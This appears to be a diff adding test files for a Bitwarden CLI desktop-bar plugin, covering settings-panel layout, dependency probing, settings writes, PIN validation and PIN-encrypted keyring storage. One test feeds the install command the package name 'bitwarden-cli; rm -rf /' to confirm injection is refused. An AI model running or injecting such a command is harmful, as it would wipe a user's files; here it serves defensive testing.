/Exactly one heading is ever in this state/.test(panelSrc),
|
||||
"expected the reasoning recorded where the next reader will be standing")
|
||||
|
||||
check("and only while part of that section is still on screen",
|
||||
/if \(top < settingsSectionEnd\(i\)\)/.test(panelSrc),
|
||||
"past the end of a section the bar must let go of it")
|
||||
|
||||
check("a section's extent is the next heading, or the last row for the final one",
|
||||
/function settingsSectionEnd\(index\)/.test(panelSrc)
|
||||
&& /if \(next\) return next\.y/.test(panelSrc)
|
||||
&& /if \(last\) return last\.y \+ last\.height/.test(panelSrc),
|
||||
"expected both the between-headings and the final-section cases")
|
||||
|
||||
// The trailing maintenance and danger-zone blocks are not foldable sections.
|
||||
// Leaving the last group pinned through them would offer to fold something the
|
||||
// user had scrolled past and could no longer see.
|
||||
check("the bar empties rather than naming a section that is no longer in view",
|
||||
/var found = null/.test(panelSrc)
|
||||
&& !/if \(!found\) \{/.test(panelSrc),
|
||||
"there must be no fallback that forces a section into an empty bar")
|
||||
|
||||
// --- the sections are not foldable ------------------------------------------
|
||||
//
|
||||
// They were, for a few commits. Three groups of three, seven and four rows do
|
||||
// not need folding, and a fold is one more state to be in and one more thing
|
||||
// to leave shut by accident. These assertions exist so it does not creep back
|
||||
// halfway -- a chevron with nothing behind it, or a heading that swallows a
|
||||
// click.
|
||||
|
||||
check("no collapse state is kept",
|
||||
!/collapsedGroups/.test(panelSrc), "settings sections are not foldable")
|
||||
|
||||
check("headings are not controls",
|
||||
!/toggleSettingsGroup|toggleStickySettingsGroup/.test(panelSrc),
|
||||
"a heading that folds nothing must not accept a click")
|
||||
|
||||
check("the pinned indicator carries no chevron or count",
|
||||
!/settingsStickyEntry\.collapsed|settingsStickyEntry\.count/.test(panelSrc),
|
||||
"the bar names the section and nothing more")
|
||||
|
||||
// A heading is in the list so the indicator has geometry to read, but it is
|
||||
// not something the cursor can act on -- stopping there and doing nothing on
|
||||
// Enter is worse than stepping over it.
|
||||
check("the keyboard cursor steps over headings",
|
||||
/while \(i >= 0 && i < n && settingsEntries\[i\] && settingsEntries\[i\]\.kind === "group"\) i \+= step/.test(panelSrc),
|
||||
"expected the cursor to skip group rows")
|
||||
|
||||
check("the screen opens on a setting, not on a heading",
|
||||
/settingsIndex = firstSettingIndex\(\)/.test(panelSrc),
|
||||
"the first row in the list is a heading")
|
||||
|
||||
check("activation and adjustment have no group case left",
|
||||
!/e\.kind === "group"/.test(panelSrc),
|
||||
"the cursor can no longer land on a heading, so neither needs to handle one")
|
||||
|
||||
// --- geometry access is funnelled ---------------------------------------------
|
||||
|
||||
check("view geometry is reached through named helpers, not ids scattered about",
|
||||
/function settingsViewportTop\(\)/.test(panelSrc)
|
||||
&& /function settingsRepeaterItem\(i\)/.test(panelSrc),
|
||||
"expected settingsViewportTop and settingsRepeaterItem")
|
||||
|
||||
check("both helpers survive being called before the view exists",
|
||||
/return settingsFlick \? settingsFlick\.contentY : 0/.test(panelSrc)
|
||||
&& /return settingsRepeater \? settingsRepeater\.itemAt\(i\) : null/.test(panelSrc),
|
||||
"openSettings runs before the screen is built")
|
||||
|
||||
// --- every scrollbar gets a lane of its own ----------------------------------
|
||||
//
|
||||
// These bars are overlays. Left alone each one draws on top of whatever is at
|
||||
// the right edge of its view -- toggles, number fields, copy buttons, the ends
|
||||
// of elided text. Every scrolling view subtracts one shared gutter, so no bar
|
||||
// covers a control and the right-hand edges line up across screens.
|
||||
|
||||
check("the gutter is measured from a real scrollbar, not guessed",
|
||||
/settingsScrollBar \? settingsScrollBar\.implicitWidth : 0/.test(panelSrc),
|
||||
"a theme with a wider bar would put it back over the controls")
|
||||
|
||||
check("the gutter has a floor for a null bar and for the frames before layout",
|
||||
/Math\.max\(settingsScrollBar[\s\S]{0,120}Style\.space\(10\)\)/.test(panelSrc),
|
||||
"expected a minimum gutter")
|
||||
|
||||
// Every scrolling view in the panel, by the id its content width is bound to.
|
||||
const scrollViews = [
|
||||
"sendFlick", "fpFlick", "genFlick", "pinFlick", "setupFlick", "settingsFlick",
|
||||
"filterOptionsList", "detailFlickable", "editFlickable",
|
||||
"folderPickList", "orgPickList", "collectionList",
|
||||
]
|
||||
for (const view of scrollViews) {
|
||||
check(`${view} keeps its content clear of the scrollbar`,
|
||||
new RegExp(`width: ${view}\\.width - root\\.scrollGutter`).test(panelSrc),
|
||||
`${view} content runs under its own scrollbar`)
|
||||
}
|
||||
|
||||
// The vault list is a ListView, so its delegate takes the width directly
|
||||
// rather than through a content column.
|
||||
check("the vault list's rows keep clear of the scrollbar too",
|
||||
/width: ListView\.view\.width - root\.scrollGutter/.test(panelSrc),
|
||||
"the item rows run under the bar")
|
||||
|
||||
check("every scrolling view is accounted for",
|
||||
(panelSrc.match(/ScrollBar\.vertical:/g) || []).length === scrollViews.length + 1,
|
||||
`${(panelSrc.match(/ScrollBar\.vertical:/g) || []).length} scrollbars for ${scrollViews.length} views plus the list`)
|
||||
|
||||
check("the pinned settings row is inset to match its rows",
|
||||
/anchors\.rightMargin: root\.scrollGutter/.test(panelSrc),
|
||||
"Back would otherwise overhang every control beneath it")
|
||||
|
||||
// Heading rows carry no description and no zeroLabel, and QML evaluates the
|
||||
// bindings of invisible items, so these ran for every heading in the list.
|
||||
check("bindings that also run for heading rows tolerate the missing fields",
|
||||
/\(modelData\.description \|\| ""\)/.test(panelSrc)
|
||||
&& /\(modelData\.zeroLabel \|\| ""\)/.test(panelSrc),
|
||||
"undefined reaching a QString property is a warning on every frame")
|
||||
|
||||
// --- the danger zone ----------------------------------------------------------
|
||||
|
||||
check("destructive actions are separated from maintenance ones",
|
||||
/text: "MAINTENANCE"/.test(panelSrc) && /text: "DANGER ZONE"/.test(panelSrc),
|
||||
"expected both headings")
|
||||
|
||||
check("the danger heading is drawn in the urgent colour",
|
||||
/text: "DANGER ZONE"[\s\S]{0,120}foreground: Color\.urgent/.test(panelSrc),
|
||||
"a destructive section should not look like every other heading")
|
||||
|
||||
check("the danger zone is set off by a separator",
|
||||
/PanelSeparator \{ width: parent\.width \}\s*\n\s*\n?\s*PanelSectionHeader \{[\s\S]{0,120}DANGER ZONE/.test(panelSrc),
|
||||
"expected a rule above the destructive section")
|
||||
|
||||
check("Remove Plugin Data sits under the danger heading, not beside Dependencies",
|
||||
panelSrc.indexOf('text: "DANGER ZONE"') < panelSrc.indexOf('text: "Remove Plugin Data"')
|
||||
&& panelSrc.indexOf('text: "Dependencies"') < panelSrc.indexOf('text: "DANGER ZONE"'),
|
||||
"ordering puts the destructive button in the wrong section")
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,372 @@
|
||||
#!/usr/bin/env node
|
||||
// Tests for the setup wizard's dependency probe and the settings writer.
|
||||
//
|
||||
// The interesting cases are the ones that cannot be exercised on a machine
|
||||
// where everything is already installed: a missing required tool, and fprintd
|
||||
// being present but having no enrolled finger.
|
||||
//
|
||||
// node tests/setup-settings.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.parseDependencies = parseDependencies
|
||||
exports.missingRequired = missingRequired
|
||||
exports.dependencyCheckCommand = dependencyCheckCommand
|
||||
exports.vaultListMode = vaultListMode
|
||||
exports.vaultListBlockedMessage = vaultListBlockedMessage
|
||||
exports.vaultListFailureMessage = vaultListFailureMessage
|
||||
exports.sshCliMinVersion = sshCliMinVersion
|
||||
exports.sshCliSupport = typeof sshCliSupport === "function" ? sshCliSupport : null
|
||||
exports.sshUiAvailable = sshUiAvailable
|
||||
exports.settingWriteCommand = settingWriteCommand
|
||||
exports.boolSetting = boolSetting
|
||||
exports.installPackagesCommand = installPackagesCommand
|
||||
exports.SETTINGS_SCHEMA = SETTINGS_SCHEMA
|
||||
exports.DEPENDENCIES = DEPENDENCIES
|
||||
exports.groupedSettings = groupedSettings
|
||||
exports.SETTINGS_GROUPS = SETTINGS_GROUPS
|
||||
exports.validatePin = validatePin
|
||||
exports.pinMinLength = pinMinLength
|
||||
exports.pinRecommendedLength = pinRecommendedLength
|
||||
exports.pinWeakWarning = pinWeakWarning
|
||||
exports.isPinWeak = isPinWeak
|
||||
exports.pinStoreCommand = pinStoreCommand
|
||||
exports.pinUnlockCommand = pinUnlockCommand
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const byKey = (deps, k) => deps.items.find(d => d.key === k)
|
||||
const dependencyProbe = Model.dependencyCheckCommand()[2]
|
||||
const sshCliSupport = (version) => typeof Model.sshCliSupport === "function"
|
||||
? Model.sshCliSupport(version)
|
||||
: "__missing__"
|
||||
|
||||
// --- everything present -----------------------------------------------------
|
||||
const all = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
|
||||
check("all present: nothing required is missing",
|
||||
Model.missingRequired(all).length === 0,
|
||||
`got [${Model.missingRequired(all).map(d => d.key)}]`)
|
||||
check("all present: fprintd reported ready", byKey(all, "fprintd").ready === true, "expected ready")
|
||||
check("jq is a required dependency alongside bw",
|
||||
byKey(all, "jq") && byKey(all, "jq").required === true && byKey(all, "jq").pkg === "jq",
|
||||
JSON.stringify(byKey(all, "jq")))
|
||||
check("the dependency probe checks for jq before vault reads",
|
||||
dependencyProbe.includes("command -v jq"),
|
||||
dependencyProbe)
|
||||
check("the dependency probe captures the bw CLI version for SSH gating",
|
||||
/bw\s+--version|bw\s+-v/.test(dependencyProbe),
|
||||
dependencyProbe)
|
||||
check("sshCliMinVersion reports the verified floor",
|
||||
Model.sshCliMinVersion() === "2025.1.2",
|
||||
String(Model.sshCliMinVersion()))
|
||||
check("sshCliSupport marks 2025.1.2 as supported",
|
||||
sshCliSupport("2025.1.2") === "supported",
|
||||
JSON.stringify(sshCliSupport("2025.1.2")))
|
||||
check("sshCliSupport marks 2025.1.1 as unsupported",
|
||||
sshCliSupport("2025.1.1") === "unsupported",
|
||||
JSON.stringify(sshCliSupport("2025.1.1")))
|
||||
check("sshCliSupport treats malformed versions as unknown",
|
||||
sshCliSupport("development-build") === "unknown",
|
||||
JSON.stringify(sshCliSupport("development-build")))
|
||||
check("sshCliSupport treats a missing version as unknown",
|
||||
sshCliSupport("") === "unknown",
|
||||
JSON.stringify(sshCliSupport("")))
|
||||
check("SSH surfaces stay hidden until the probe confirms a supported CLI",
|
||||
Model.sshUiAvailable(all, true) === true
|
||||
&& Model.sshUiAvailable(all, false) === false,
|
||||
JSON.stringify({ checked: Model.sshUiAvailable(all, true), unchecked: Model.sshUiAvailable(all, false) }))
|
||||
const oldCli = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.1\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
|
||||
check("an unsupported CLI hides SSH but still reports why on the bw row",
|
||||
Model.sshUiAvailable(oldCli, true) === false
|
||||
&& byKey(oldCli, "bw").note.includes("2025.1.2")
|
||||
&& byKey(oldCli, "bw").note.includes("2025.1.1"),
|
||||
JSON.stringify(byKey(oldCli, "bw")))
|
||||
const unreadableCli = Model.parseDependencies(
|
||||
"bw=1\nbw_version=development-build\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
|
||||
check("an unreadable CLI version hides SSH rather than assuming support",
|
||||
Model.sshUiAvailable(unreadableCli, true) === false
|
||||
&& unreadableCli.sshCliStatus === "unknown"
|
||||
&& byKey(unreadableCli, "bw").note !== "",
|
||||
JSON.stringify({ status: unreadableCli.sshCliStatus, bw: byKey(unreadableCli, "bw") }))
|
||||
|
||||
check("bw version metadata is preserved for feature gating",
|
||||
byKey(all, "bw") && byKey(all, "bw").version === "2025.1.2" && all.sshCliStatus === "supported",
|
||||
JSON.stringify({ bw: byKey(all, "bw"), sshCliStatus: all.sshCliStatus }))
|
||||
|
||||
// --- the case that matters: a required tool is absent -----------------------
|
||||
const noBw = Model.parseDependencies(
|
||||
"bw=0\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
|
||||
const missing = Model.missingRequired(noBw)
|
||||
check("missing bw is reported as required",
|
||||
missing.length === 1 && missing[0].key === "bw" && missing[0].pkg === "bitwarden-cli",
|
||||
`got [${missing.map(d => d.key + ":" + d.pkg)}]`)
|
||||
check("missing bw is not marked installed", byKey(noBw, "bw").installed === false, "expected false")
|
||||
const noJq = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.2\njq=0\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
|
||||
const missingNoJq = Model.missingRequired(noJq)
|
||||
check("missing jq is reported as required",
|
||||
missingNoJq.length === 1 && missingNoJq[0].key === "jq" && missingNoJq[0].pkg === "jq",
|
||||
`got [${missingNoJq.map(d => d.key + ":" + d.pkg)}]`)
|
||||
check("missing jq does not alter optional dependency semantics",
|
||||
byKey(noJq, "fprintd").required === false,
|
||||
JSON.stringify(byKey(noJq, "fprintd")))
|
||||
check("supported bw without jq blocks the vault list until setup finishes",
|
||||
Model.vaultListMode(noJq) === "blocked"
|
||||
&& Model.vaultListBlockedMessage(noJq).includes("jq"),
|
||||
`${Model.vaultListMode(noJq)} / ${Model.vaultListBlockedMessage(noJq)}`)
|
||||
|
||||
// A whole-list failure on a CLI that predates the malformed-SSH-item fix is the
|
||||
// one case where the panel can say something useful about a read it cannot
|
||||
// repair. The attribution comes from the probed version, never from the failed
|
||||
// read's own output, which can quote decrypted vault material.
|
||||
const rawCliFailure = "TypeError: Cannot read properties of null (reading 'keyFingerprint') for item work-ssh"
|
||||
check("a list failure on a pre-2026.8.0 CLI names the release that fixes it",
|
||||
Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("2026.8.0"),
|
||||
Model.vaultListFailureMessage(rawCliFailure, all, "sanitized"))
|
||||
check("the failure message never echoes raw CLI output",
|
||||
!Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("keyFingerprint")
|
||||
&& !Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("TypeError")
|
||||
&& !Model.vaultListFailureMessage(rawCliFailure, all, "sanitized").includes("work-ssh"),
|
||||
Model.vaultListFailureMessage(rawCliFailure, all, "sanitized"))
|
||||
const fixedCli = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2026.8.0\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
|
||||
check("a list failure on a fixed CLI does not blame the SSH-item bug",
|
||||
!Model.vaultListFailureMessage(rawCliFailure, fixedCli, "sanitized").includes("2026.8.0"),
|
||||
Model.vaultListFailureMessage(rawCliFailure, fixedCli, "sanitized"))
|
||||
check("a blocked list reports the missing tool instead of the SSH hint",
|
||||
Model.vaultListFailureMessage(rawCliFailure, noJq, "blocked").includes("jq")
|
||||
&& !Model.vaultListFailureMessage(rawCliFailure, noJq, "blocked").includes("2026.8.0"),
|
||||
Model.vaultListFailureMessage(rawCliFailure, noJq, "blocked"))
|
||||
|
||||
// An optional tool going missing must not trigger the blocking wizard.
|
||||
const noFprintd = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=0\nfingerprint_ready=0\nomarchy=1")
|
||||
check("missing optional tool does not block setup",
|
||||
Model.missingRequired(noFprintd).length === 0,
|
||||
`got [${Model.missingRequired(noFprintd).map(d => d.key)}]`)
|
||||
|
||||
// --- fprintd installed but no finger enrolled -------------------------------
|
||||
const noFinger = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=0\nomarchy=1")
|
||||
check("fprintd on PATH without an enrolled finger is installed-but-not-ready",
|
||||
byKey(noFinger, "fprintd").installed === true && byKey(noFinger, "fprintd").ready === false,
|
||||
`installed=${byKey(noFinger, "fprintd").installed} ready=${byKey(noFinger, "fprintd").ready}`)
|
||||
|
||||
const oldBw = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.1\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
|
||||
check("older bw versions remain installed but are marked unsupported for SSH",
|
||||
byKey(oldBw, "bw").installed === true
|
||||
&& byKey(oldBw, "bw").version === "2025.1.1"
|
||||
&& oldBw.sshCliStatus === "unsupported"
|
||||
&& byKey(oldBw, "bw").note.includes(Model.sshCliMinVersion()),
|
||||
JSON.stringify({ bw: byKey(oldBw, "bw"), sshCliStatus: oldBw.sshCliStatus }))
|
||||
check("older bw with jq still uses the sanitized list path for ordinary items",
|
||||
Model.vaultListMode(oldBw) === "sanitized",
|
||||
JSON.stringify({ mode: Model.vaultListMode(oldBw), deps: oldBw }))
|
||||
|
||||
const unknownBw = Model.parseDependencies(
|
||||
"bw=1\nbw_version=development-build\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1")
|
||||
check("unknown bw versions are reported separately from unsupported ones",
|
||||
byKey(unknownBw, "bw").installed === true
|
||||
&& byKey(unknownBw, "bw").version === ""
|
||||
&& unknownBw.sshCliStatus === "unknown",
|
||||
JSON.stringify({ bw: byKey(unknownBw, "bw"), sshCliStatus: unknownBw.sshCliStatus }))
|
||||
check("unknown bw with jq still uses the sanitized list path and never falls back to a raw legacy read",
|
||||
Model.vaultListMode(unknownBw) === "sanitized",
|
||||
JSON.stringify({ mode: Model.vaultListMode(unknownBw), deps: unknownBw }))
|
||||
|
||||
// --- malformed / empty probe output -----------------------------------------
|
||||
for (const [label, raw] of [["empty", ""], ["garbage", "???\n=\nbw\n"]]) {
|
||||
const d = Model.parseDependencies(raw)
|
||||
check(`${label} probe output degrades to all-missing`,
|
||||
d.items.length === Model.DEPENDENCIES.length && d.items.every(i => !i.installed),
|
||||
`got ${d.items.length} items, installed=[${d.items.filter(i => i.installed).map(i => i.key)}]`)
|
||||
}
|
||||
|
||||
// --- settings writer --------------------------------------------------------
|
||||
// Values must reach shell.json as real JSON types, not strings, or `setting()`
|
||||
// hands the panel a string where it expects a number or a bool.
|
||||
// The writer runs through bash so its diagnostic stderr can be capped, so the
|
||||
// assertions read the script rather than an argv list.
|
||||
const writeScript = (k, v, t) => Model.settingWriteCommand(k, v, t)[2]
|
||||
|
||||
// --- colorized menu-bar icon setting ----------------------------------------
|
||||
const colorizeIcon = Model.SETTINGS_SCHEMA.find(e => e.key === "colorizeIcon")
|
||||
check("colorized icon setting is declared in General", !!colorizeIcon
|
||||
&& colorizeIcon.group === "general"
|
||||
&& colorizeIcon.type === "bool",
|
||||
JSON.stringify(colorizeIcon))
|
||||
check("colorized icon defaults off", !!colorizeIcon && colorizeIcon.defaultValue === false,
|
||||
JSON.stringify(colorizeIcon))
|
||||
check("colorized icon accepts only actual booleans",
|
||||
Model.boolSetting("colorizeIcon", true) === true
|
||||
&& Model.boolSetting("colorizeIcon", false) === false
|
||||
&& Model.boolSetting("colorizeIcon", "true") === false
|
||||
&& Model.boolSetting("colorizeIcon", 1) === false,
|
||||
"malformed colorizeIcon input was accepted")
|
||||
|
||||
check("boolean settings accept actual JSON booleans",
|
||||
Model.boolSetting("fingerprintUnlock", true) === true
|
||||
&& Model.boolSetting("fingerprintUnlock", false) === false,
|
||||
"actual booleans were not preserved")
|
||||
check("malformed strings cannot enable opt-in credential storage",
|
||||
Model.boolSetting("fingerprintUnlock", "false") === false
|
||||
&& Model.boolSetting("pinUnlock", "true") === false,
|
||||
"a string enabled an opt-in unlock method")
|
||||
check("malformed lock settings fail back to their secure defaults",
|
||||
Model.boolSetting("lockOnScreenLock", "false") === true
|
||||
&& Model.boolSetting("lockOnSuspend", 0) === true,
|
||||
"a malformed setting disabled locking")
|
||||
|
||||
check("int setting is written with --json",
|
||||
writeScript("autoLockMinutes", 15, "int")
|
||||
.includes("omarchy bar set io.github.elevate08.qs-bitwarden-cli 'autoLockMinutes' '15' --json"),
|
||||
writeScript("autoLockMinutes", 15, "int"))
|
||||
|
||||
for (const [v, want] of [[true, "true"], [false, "false"]]) {
|
||||
const script = writeScript("closeOnCopy", v, "bool")
|
||||
check(`bool ${v} is written as ${want}`,
|
||||
script.includes(`'closeOnCopy' '${want}' --json`), `got ${script}`)
|
||||
}
|
||||
check("a zero int is written as 0, not dropped",
|
||||
writeScript("autoLockMinutes", 0, "int").includes("'autoLockMinutes' '0' --json"),
|
||||
writeScript("autoLockMinutes", 0, "int"))
|
||||
|
||||
// stderr from `omarchy bar set` is collected by the panel, so it needs the same
|
||||
// producer-side cap as every other stream the long-lived shell buffers.
|
||||
check("setting writer caps its diagnostic stderr",
|
||||
writeScript("autoLockMinutes", 15, "int").includes("exec 2> >(head -c 8192 >&2)"),
|
||||
writeScript("autoLockMinutes", 15, "int"))
|
||||
|
||||
// Every schema key must exist in the manifest, or the settings screen would
|
||||
// write a key the plugin never reads.
|
||||
const manifest = JSON.parse(fs.readFileSync(path.join(__dirname, "..", "manifest.json"), "utf8"))
|
||||
const manifestKeys = new Set(manifest.barWidget.schema.map(e => e.key))
|
||||
for (const entry of Model.SETTINGS_SCHEMA) {
|
||||
check(`schema key '${entry.key}' exists in manifest.json`,
|
||||
manifestKeys.has(entry.key), `manifest has [${[...manifestKeys]}]`)
|
||||
}
|
||||
const colorizeManifest = manifest.barWidget.schema.find(e => e.key === "colorizeIcon")
|
||||
check("manifest colorized icon schema matches the model contract",
|
||||
!!colorizeManifest
|
||||
&& colorizeManifest.type === "boolean"
|
||||
&& colorizeManifest.label === colorizeIcon.label
|
||||
&& colorizeManifest.description === colorizeIcon.description
|
||||
&& colorizeManifest.defaultValue === false
|
||||
&& manifest.barWidget.defaults.colorizeIcon === false,
|
||||
JSON.stringify({ model: colorizeIcon, manifest: colorizeManifest }))
|
||||
|
||||
// --- install command --------------------------------------------------------
|
||||
check("no packages yields no command", Model.installPackagesCommand([]) === null, "expected null")
|
||||
const inst = Model.installPackagesCommand(["bitwarden-cli", "wl-clipboard"])
|
||||
check("install goes through Omarchy's own floating-terminal installer",
|
||||
inst.slice(0, 3).join(" ") === "omarchy install app" && inst[4] === "bitwarden-cli wl-clipboard",
|
||||
inst.join(" "))
|
||||
|
||||
// The package list lands in an unquoted expansion inside omarchy-install-app,
|
||||
// so anything that is not a plain package name must not reach it.
|
||||
check("install refuses a package name that is not one",
|
||||
Model.installPackagesCommand(["bitwarden-cli; rm -rf /"]) === null,
|
||||
JSON.stringify(Model.installPackagesCommand(["bitwarden-cli; rm -rf /"])))
|
||||
|
||||
// The probe must be a single process, not one per tool.
|
||||
check("dependency probe is one shell invocation",
|
||||
Model.dependencyCheckCommand()[0] === "bash" && Model.dependencyCheckCommand().length === 3,
|
||||
JSON.stringify(Model.dependencyCheckCommand().slice(0, 2)))
|
||||
|
||||
|
||||
// --- settings grouping ------------------------------------------------------
|
||||
const grouped = Model.groupedSettings()
|
||||
check("grouping keeps every setting",
|
||||
grouped.length === Model.SETTINGS_SCHEMA.length,
|
||||
`${grouped.length} vs ${Model.SETTINGS_SCHEMA.length}`)
|
||||
check("exactly one header per group",
|
||||
grouped.filter(e => e.groupLabel !== "").length === Model.SETTINGS_GROUPS.length,
|
||||
`got ${grouped.filter(e => e.groupLabel !== "").length} headers`)
|
||||
check("entries are contiguous within a group",
|
||||
JSON.stringify(grouped.map(e => e.group)) ===
|
||||
JSON.stringify(grouped.map(e => e.group).slice().sort(
|
||||
(a, b) => Model.SETTINGS_GROUPS.findIndex(g => g.id === a) - Model.SETTINGS_GROUPS.findIndex(g => g.id === b))),
|
||||
grouped.map(e => e.group).join(","))
|
||||
check("grouping does not mutate the schema",
|
||||
Model.SETTINGS_SCHEMA.every(e => e.groupLabel === undefined), "schema was mutated")
|
||||
|
||||
// --- PIN validation ---------------------------------------------------------
|
||||
check("minimum PIN length is 4", Model.pinMinLength() === 4, String(Model.pinMinLength()))
|
||||
check("recommended PIN length is 6", Model.pinRecommendedLength() === 6, String(Model.pinRecommendedLength()))
|
||||
|
||||
// A short PIN is allowed -- the point is that it is flagged, not blocked.
|
||||
check("a 4-digit PIN still validates", Model.validatePin("1234", "1234") === "", Model.validatePin("1234", "1234"))
|
||||
check("a 5-digit PIN still validates", Model.validatePin("12345", "12345") === "", Model.validatePin("12345", "12345"))
|
||||
check("but 4 digits is flagged weak", Model.isPinWeak("1234"), "expected weak")
|
||||
check("and 5 digits is flagged weak", Model.isPinWeak("12345"), "expected weak")
|
||||
check("6 digits is not flagged", !Model.isPinWeak("123456"), Model.pinWeakWarning("123456"))
|
||||
check("longer than 6 is not flagged", !Model.isPinWeak("1234567890"), Model.pinWeakWarning("1234567890"))
|
||||
|
||||
// No warning while still typing towards a good PIN, or it would flash on
|
||||
// every keystroke from the first digit onwards.
|
||||
check("nothing is flagged before the floor is even reached",
|
||||
!Model.isPinWeak("") && !Model.isPinWeak("1") && !Model.isPinWeak("123"),
|
||||
"expected no warning below the minimum")
|
||||
|
||||
// The warning has to carry the actual number, not a vague 'weak'.
|
||||
check("the warning names the search space for 4 digits",
|
||||
Model.pinWeakWarning("1234").includes("10,000") && Model.pinWeakWarning("1234").includes("4-digit"),
|
||||
Model.pinWeakWarning("1234"))
|
||||
check("the warning names the search space for 5 digits",
|
||||
Model.pinWeakWarning("12345").includes("100,000"), Model.pinWeakWarning("12345"))
|
||||
check("the warning points at the recommendation",
|
||||
Model.pinWeakWarning("1234").includes("6 or more"), Model.pinWeakWarning("1234"))
|
||||
for (const [pin, confirm, wantErr] of [
|
||||
["123", "123", true], // too short
|
||||
["1234", "1234", false], // the minimum is accepted
|
||||
["12345678901234", "12345678901234", false], // longer is allowed, no upper bound
|
||||
["12a4", "12a4", true], // non-digits refused
|
||||
["", "", true],
|
||||
["1234", "4321", true], // mismatch
|
||||
]) {
|
||||
const err = Model.validatePin(pin, confirm)
|
||||
check(`validatePin(${JSON.stringify(pin)}, ${JSON.stringify(confirm)})`,
|
||||
(err !== "") === wantErr, `err=${JSON.stringify(err)}`)
|
||||
}
|
||||
check("confirm is optional when omitted", Model.validatePin("1234") === "", Model.validatePin("1234"))
|
||||
|
||||
// --- PIN crypto command shape ----------------------------------------------
|
||||
// The whole point of PIN unlock over fingerprint unlock is that the keyring
|
||||
// holds ciphertext, not the master password. Guard that property.
|
||||
const store = Model.pinStoreCommand()[2]
|
||||
check("store derives a key from the PIN rather than saving it",
|
||||
store.includes("openssl enc") && store.includes("-pbkdf2") && store.includes("env:QSBW_PIN"), store)
|
||||
check("store uses a high iteration count",
|
||||
/-iter\s+(\d+)/.test(store) && Number(store.match(/-iter\s+(\d+)/)[1]) >= 600000, store)
|
||||
check("store pins PBKDF2 to SHA-256 instead of relying on an OpenSSL default",
|
||||
store.includes("-md sha256"), store)
|
||||
check("store salts the ciphertext", store.includes("-salt"), store)
|
||||
check("store reports encryption failures instead of saving an empty blob",
|
||||
store.includes("set -o pipefail"), store)
|
||||
check("store pipes straight into the keyring, never through argv",
|
||||
store.includes("secret-tool store") && !store.includes("$QSBW_SECRET\" secret-tool"), store)
|
||||
check("neither PIN nor secret appears as a literal argument",
|
||||
!store.includes("--pass ") && store.includes("-pass env:"), store)
|
||||
|
||||
const unlock = Model.pinUnlockCommand()[2]
|
||||
check("unlock decrypts with the PIN-derived key",
|
||||
unlock.includes("openssl enc -d") && unlock.includes("env:QSBW_PIN"), unlock)
|
||||
check("unlock fails loudly when the lookup fails (pipefail)",
|
||||
unlock.includes("set -o pipefail"), unlock)
|
||||
check("unlock iteration count matches store",
|
||||
unlock.match(/-iter\s+(\d+)/)[1] === store.match(/-iter\s+(\d+)/)[1],
|
||||
`${unlock.match(/-iter\s+(\d+)/)[1]} vs ${store.match(/-iter\s+(\d+)/)[1]}`)
|
||||
check("unlock uses the same explicit PBKDF2 digest as store",
|
||||
unlock.includes("-md sha256"), unlock)
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,395 @@
|
||||
#!/usr/bin/env node
|
||||
// The helper ships as committed bytes, which is only defensible if anyone can
|
||||
// rebuild them from the committed source. These tests guard the parts of that
|
||||
// promise which rot silently: a digest that drifts between the build script
|
||||
// and the workflow, an image pinned by tag instead of digest, a build that
|
||||
// would claim reproducibility it cannot support, or a toolchain pin nothing
|
||||
// actually enforces.
|
||||
//
|
||||
// They deliberately do not run a build. The build needs a container this
|
||||
// machine may not have; what can be checked here is that the definition is
|
||||
// coherent and refuses the right things.
|
||||
//
|
||||
// node tests/ssh-agent-artifact.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const { spawnSync } = require("child_process")
|
||||
|
||||
const repoRoot = path.join(__dirname, "..")
|
||||
const read = p => fs.readFileSync(path.join(repoRoot, p), "utf8")
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const eq = (label, actual, expected) =>
|
||||
